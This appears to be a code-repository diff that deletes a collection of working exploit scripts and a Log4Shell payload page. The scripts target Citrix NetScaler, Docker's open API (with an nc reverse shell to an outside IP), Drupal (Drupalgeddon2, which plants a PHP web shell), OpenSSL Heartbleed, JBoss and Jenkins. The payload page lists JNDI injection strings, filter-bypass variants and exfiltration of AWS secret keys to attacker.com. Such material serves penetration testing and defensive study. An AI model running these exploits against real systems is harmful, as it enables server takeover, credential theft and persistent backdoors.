random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
print("[+] Adding bookmark", random_xml + ".xml")
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
if r.status_code == 200:
print("[+] Bookmark added")
else:
print("\n[-] Target not vulnerable or something went wrong")
sys.exit(0)
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
print("[+] Result of the command: \n")
print(replaced)
except KeyboardInterrupt:
print("Exiting...")
break

View File

@@ -1,49 +0,0 @@
from __future__ import print_function
import requests
import logging
import json
import urllib.parse
# NOTE
# Enable Remote API with the following command
# /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
# This is an intended feature, remember to filter the port 2375..
name = "docker"
description = "Docker RCE via Open Docker API on port 2375"
author = "Swissky"
# Step 1 - Extract id and name from each container
ip = "127.0.0.1"
port = "2375"
data = "containers/json"
url = "http://{}:{}/{}".format(ip, port, data)
r = requests.get(url)
if r.json:
for container in r.json():
container_id = container['Id']
container_name = container['Names'][0].replace('/','')
print((container_id, container_name))
# Step 2 - Prepare command
cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
data = "containers/{}/exec".format(container_name)
url = "http://{}:{}/{}".format(ip, port, data)
post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }'
post_header = {
"Content-Type": "application/json"
}
r = requests.post(url, json=json.loads(post_json))
# Step 3 - Execute command
id_cmd = r.json()['Id']
data = "exec/{}/start".format(id_cmd)
url = "http://{}:{}/{}".format(ip, port, data)
post_json = '{ "Detach":false,"Tty":false}'
post_header = {
"Content-Type": "application/json"
}
r = requests.post(url, json=json.loads(post_json))
print(r)

View File

@@ -1,308 +0,0 @@
#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#
require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'
# Settings - Proxy information (nil to disable)
proxy_addr = nil
proxy_port = 8080
# Settings - General
$useragent = "drupalgeddon2"
webshell = "s.php"
writeshell = true
# Settings - Payload (we could just be happy without this, but we can do better!)
#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Function http_post <url> [post]
def http_post(url, payload="")
uri = URI(url)
request = Net::HTTP::Post.new(uri.request_uri)
request.initialize_http_header({"User-Agent" => $useragent})
request.body = payload
return $http.request(request)
end
# Function gen_evil_url <cmd>
def gen_evil_url(evil, feedback=true)
# PHP function to use (don't forget about disabled functions...)
phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
#puts "[*] PHP cmd: #{phpmethod}" if feedback
puts "[*] Payload: #{evil}" if feedback
## Check the version to match the payload
# Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
if $drupalverion.start_with?('8')
# Method #1 - Drupal 8, mail, #post_render - response is 200
url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
# Method #2 - Drupal 8, timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
#url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
#payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
elsif $drupalverion.start_with?('7')
# Method #3 - Drupal 7, name, #post_render - response is 200
url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
payload = "form_id=user_pass&_triggering_element_name=name"
else
puts "[!] Unsupported Drupal version"
exit
end
# Drupal v7 needs an extra value from a form
if $drupalverion.start_with?('7')
response = http_post(url, payload)
form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
#url = $target + "file/ajax/name/%23value/" + form_build_id
url = $target + "?q=file/ajax/name/%23value/" + form_build_id
payload = "form_build_id=" + form_build_id
end
return url, payload
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Quick how to use
if ARGV.empty?
puts "Usage: ruby drupalggedon2.rb <target>"
puts " ruby drupalgeddon2.rb https://example.com"
exit
end
# Read in values
$target = ARGV[0]
# Check input for protocol
if not $target.start_with?('http')
$target = "http://#{$target}"
end
# Check input for the end
if not $target.end_with?('/')
$target += "/"
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Banner
puts "[*] --==[::#Drupalggedon2::]==--"
puts "-"*80
puts "[*] Target : #{$target}"
puts "[*] Write? : Skipping writing web shell" if not writeshell
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
# Use SSL/TLS if needed
if uri.scheme == "https"
$http.use_ssl = true
$http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Try and get version
$drupalverion = nil
# Possible URLs
url = [
$target + "CHANGELOG.txt",
$target + "core/CHANGELOG.txt",
$target + "includes/bootstrap.inc",
$target + "core/includes/bootstrap.inc",
]
# Check all
url.each do|uri|
# Check response
response = http_post(uri)
if response.code == "200"
puts "[+] Found : #{uri} (#{response.code})"
# Patched already?
puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
# Try and get version from the file contents
$drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
# If not, try and get it from the URL
$drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
# Done!
break
elsif response.code == "403"
puts "[+] Found : #{uri} (#{response.code})"
# Get version from URL
$drupalverion = uri.match(/core/)? "8.x" : "7.x"
else
puts "[!] MISSING: #{uri} (#{response.code})"
end
end
# Feedback
if $drupalverion
status = $drupalverion.end_with?('x')? "?" : "!"
puts "[+] Drupal#{status}: #{$drupalverion}"
else
puts "[!] Didn't detect Drupal version"
puts "[!] Forcing Drupal v8.x attack"
$drupalverion = "8.x"
end
puts "-"*80
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
# Make a request, testing code execution
puts "[*] Testing: Code Execution"
# Generate a random string to see if we can echo it
random = (0...8).map { (65 + rand(26)).chr }.join
url, payload = gen_evil_url("echo #{random}")
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result : #{result}"
puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
else
puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
exit
end
puts "-"*80
# Location of web shell & used to signal if using PHP shell
webshellpath = nil
prompt = "drupalgeddon2"
# Possibles paths to try
paths = [
"./",
"./sites/default/",
"./sites/default/files/",
]
# Check all
paths.each do|path|
puts "[*] Testing: File Write To Web Root (#{path})"
# Merge locations
webshellpath = "#{path}#{webshell}"
# Final command to execute
cmd = "#{bashcmd} | tee #{webshellpath}"
# Generate evil URLs
url, payload = gen_evil_url(cmd)
# Make the request
response = http_post(url, payload)
# Check result
if response.code == "200" and not response.body.empty?
# Feedback
#result = JSON.pretty_generate(JSON[response.body])
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
puts "[+] Result : #{result}"
# Test to see if backdoor is there (if we managed to write it)
response = http_post("#{$target}#{webshellpath}", "c=hostname")
if response.code == "200" and not response.body.empty?
puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
break
else
puts "[!] Target is NOT exploitable. No write access here!"
end
else
puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
end
webshellpath = nil
end if writeshell
puts "-"*80 if writeshell
if webshellpath
# Get hostname for the prompt
prompt = response.body.to_s.strip
# Feedback
puts "[*] Fake shell: curl '#{$target}#{webshell}' -d 'c=whoami'"
elsif writeshell
puts "[!] FAILED: Coudn't find writeable web path"
puts "[*] Dropping back direct commands (expect an ugly shell!)"
end
# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")
# Forever loop
loop do
# Default value
result = "ERROR"
# Get input
command = Readline.readline("#{prompt}>> ", true).to_s
# Exit
break if command =~ /exit/
# Blank link?
next if command.empty?
# If PHP shell
if webshellpath
# Send request
result = http_post("#{$target}#{webshell}", "c=#{command}").body
# Direct commands
else
url, payload = gen_evil_url(command, false)
response = http_post(url, payload)
if response.code == "200" and not response.body.empty?
result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
end
end
# Feedback
puts result
end

View File

@@ -1,216 +0,0 @@
#!/usr/bin/python
# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
from __future__ import print_function
from builtins import str
from builtins import range
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
import smtplib
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
def h2bin(x):
return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hbv10 = h2bin('''
18 03 01 00 03
01 40 00
''')
hbv11 = h2bin('''
18 03 02 00 03
01 40 00
''')
hbv12 = h2bin('''
18 03 03 00 03
01 40 00
''')
def hexdump(s, dumpf, quiet):
dump = open(dumpf,'a')
dump.write(s)
dump.close()
if quiet: return
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % ord(c) for c in lin)
pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
print(' %04x: %-48s %s' % (b, hxdat, pdat))
print()
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
if not rdata:
return None
else:
return rdata
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print('Unexpected EOF receiving record header - server closed connection')
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print('Unexpected EOF receiving record payload - server closed connection')
return None, None, None
print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s, dumpf, host, quiet):
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print('No heartbeat response received from '+host+', server likely not vulnerable')
return False
if typ == 24:
if not quiet: print('Received heartbeat response:')
hexdump(pay, dumpf, quiet)
if len(pay) > 3:
print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
else:
print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
return True
if typ == 21:
if not quiet: print('Received alert:')
hexdump(pay, dumpf, quiet)
print('Server '+ host +' returned error, likely not vulnerable')
return False
def connect(host, port, quiet):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if not quiet: print('Connecting...')
sys.stdout.flush()
s.connect((host, port))
return s
def tls(s, quiet):
if not quiet: print('Sending Client Hello...')
sys.stdout.flush()
s.send(hello)
if not quiet: print('Waiting for Server Hello...')
sys.stdout.flush()
def parseresp(s):
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print('Server closed connection without sending Server Hello.')
return 0
# Look for server hello done message.
if typ == 22 and ord(pay[0]) == 0x0E:
return ver
def check(host, port, dumpf, quiet, starttls):
response = False
if starttls:
try:
s = smtplib.SMTP(host=host,port=port)
s.ehlo()
s.starttls()
except smtplib.SMTPException:
print('STARTTLS not supported...')
s.quit()
return False
print('STARTTLS supported...')
s.quit()
s = connect(host, port, quiet)
s.settimeout(1)
try:
re = s.recv(1024)
s.send('ehlo starttlstest\r\n')
re = s.recv(1024)
s.send('starttls\r\n')
re = s.recv(1024)
except socket.timeout:
print('Timeout issues, going ahead anyway, but it is probably broken ...')
tls(s,quiet)
else:
s = connect(host, port, quiet)
tls(s,quiet)
version = parseresp(s)
if version == 0:
if not quiet: print("Got an error while parsing the response, bailing ...")
return False
else:
version = version - 0x0300
if not quiet: print("Server TLS version was 1.%d\n" % version)
if not quiet: print('Sending heartbeat request...')
sys.stdout.flush()
if (version == 1):
s.send(hbv10)
response = hit_hb(s,dumpf, host, quiet)
if (version == 2):
s.send(hbv11)
response = hit_hb(s,dumpf, host, quiet)
if (version == 3):
s.send(hbv12)
response = hit_hb(s,dumpf, host, quiet)
s.close()
return response
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
print('Scanning ' + args[0] + ' on port ' + str(opts.port))
for i in range(0,opts.num):
check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
if __name__ == '__main__':
main()

View File

@@ -1,62 +0,0 @@
#! /usr/bin/env python2
# Jboss Java Deserialization RCE (CVE-2015-7501)
# Made with <3 by @byt3bl33d3r
from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import sys, os
#from binascii import hexlify, unhexlify
from subprocess import check_output
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None
parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if not args.ysoserial_path:
for path in ysoserial_default_paths:
if os.path.exists(path):
ysoserial_path = path
else:
if os.path.exists(args.ysoserial_path):
ysoserial_path = args.ysoserial_path
if ysoserial_path is None:
print('[-] Could not find ysoserial JAR file')
sys.exit(1)
if len(args.target.split(":")) != 2:
print('[-] Target must be in format IP:PORT')
sys.exit(1)
if not args.command:
print('[-] You must specify a command to run')
sys.exit(1)
ip, port = args.target.split(':')
print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
if r.status_code == 200:
print('[+] Command executed successfully')

File diff suppressed because one or more lines are too long

View File

@@ -1,84 +0,0 @@
#! /usr/bin/env python2
#Jenkins Groovy XML RCE (CVE-2016-0792)
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
#Made with <3 by @byt3bl33d3r
from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import sys
parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP:PORT')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
if len(sys.argv) < 2:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
if len(args.target.split(':')) != 2:
print('[-] Target must be in format IP:PORT')
sys.exit(1)
if not args.command:
print('[-] You must specify a command to run')
sys.exit(1)
ip, port = args.target.split(':')
print('[*] Target IP: {}'.format(ip))
print('[*] Target PORT: {}'.format(port))
xml_formatted = ''
command_list = args.command.split()
for cmd in command_list:
xml_formatted += '{:>16}<string>{}</string>\n'.format('', cmd)
xml_payload = '''<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
{}
</command>
<redirectErrorStream>false</redirectErrorStream>
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>1</int>
</entry>
</map>'''.format(xml_formatted.strip())
print('[*] Generated XML payload:')
print(xml_payload)
print()
print('[*] Sending payload')
headers = {'Content-Type': 'text/xml'}
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
if r.status_code == 500:
for path in paths_in_trace:
if path in r.text:
print('[+] Command executed successfully')
break

View File

@@ -1,32 +0,0 @@
#!/usr/bin/env python
# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
from __future__ import print_function
from builtins import input
import requests
import sys
print("""
Jenkins Groovy Console cmd runner.
usage: ./jgc.py [HOST]
Then type any command and wait for STDOUT output from remote machine.
Type 'exit' to exit :)
""")
URL = sys.argv[1] + '/scriptText'
HEADERS = {
'User-Agent': 'jgc'
}
while 1:
CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
if CMD == 'exit':
print("exiting...\n")
exit(0)
DATA = {
'script': 'println "{}".execute().text'.format(CMD)
}
result = requests.post(URL, headers=HEADERS, data=DATA)
print(result.text)

View File

@@ -1,105 +1,107 @@
# CVE-2021-44228 Log4Shell # CVE-2021-44228 Log4Shell
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled > Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
## Summary ## Summary
* [Vulnerable code](#vulnerable-code) * [Vulnerable code](#vulnerable-code)
* [Payloads](#payloads) * [Payloads](#payloads)
* [Scanning](#scanning) * [Scanning](#scanning)
* [WAF Bypass](#waf-bypass) * [WAF Bypass](#waf-bypass)
* [Exploitation](#exploitation) * [Exploitation](#exploitation)
* [Environment variables exfiltration](#environment-variables-exfiltration) * [Environment variables exfiltration](#environment-variables-exfiltration)
* [Remote Command Execution](#remote-command-execution) * [Remote Command Execution](#remote-command-execution)
* [References](#references) * [References](#references)
## Vulnerable code ## Vulnerable code
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn]( You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
https://github.com/leonjza/log4jpwn) https://github.com/leonjza/log4jpwn)
```java
public String index(@RequestHeader("X-Api-Version") String apiVersion) { ```java
logger.info("Received a request for API version " + apiVersion); public String index(@RequestHeader("X-Api-Version") String apiVersion) {
return "Hello, world!"; logger.info("Received a request for API version " + apiVersion);
} return "Hello, world!";
``` }
```
## Payloads
## Payloads
```bash
# Identify Java version and hostname ```bash
${jndi:ldap://${java:version}.domain/a} # Identify Java version and hostname
${jndi:ldap://${env:JAVA_VERSION}.domain/a} ${jndi:ldap://${java:version}.domain/a}
${jndi:ldap://${sys:java.version}.domain/a} ${jndi:ldap://${env:JAVA_VERSION}.domain/a}
${jndi:ldap://${sys:java.vendor}.domain/a} ${jndi:ldap://${sys:java.version}.domain/a}
${jndi:ldap://${hostName}.domain/a} ${jndi:ldap://${sys:java.vendor}.domain/a}
${jndi:dns://${hostName}.domain} ${jndi:ldap://${hostName}.domain/a}
${jndi:dns://${hostName}.domain}
# More enumerations keywords and variables
java:os # More enumerations keywords and variables
docker:containerId java:os
web:rootDir docker:containerId
bundle:config:db.password web:rootDir
``` bundle:config:db.password
```
## Scanning
## Scanning
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
```powershell * [log4j-scan](https://github.com/fullhunt/log4j-scan)
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] ```powershell
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
``` python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml) python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
```
## WAF Bypass * [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
```powershell ## WAF Bypass
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
```powershell
# using lower and upper ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc} # using lower and upper
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} ${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
# using env to create the letter ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a} # using env to create the letter
``` ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
## Exploitation ```
### Environment variables exfiltration ## Exploitation
```powershell ### Environment variables exfiltration
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
```powershell
# AWS Access Key ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
``` # AWS Access Key
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
```
### Remote Command Execution
### Remote Command Execution
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
```ps1 * [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference ```ps1
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1 Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1 Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2 Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
``` Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit) Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
```
## References * [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/) ## References
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/) * [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://web.archive.org/web/20240619113824/https://www.lunasec.io/docs/blog/log4j-zero-day/)
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://web.archive.org/web/20240511165624/https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://web.archive.org/web/20250903054130/https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)

View File

@@ -1,32 +1,47 @@
# Common Vulnerabilities and Exposures # Common Vulnerabilities and Exposures
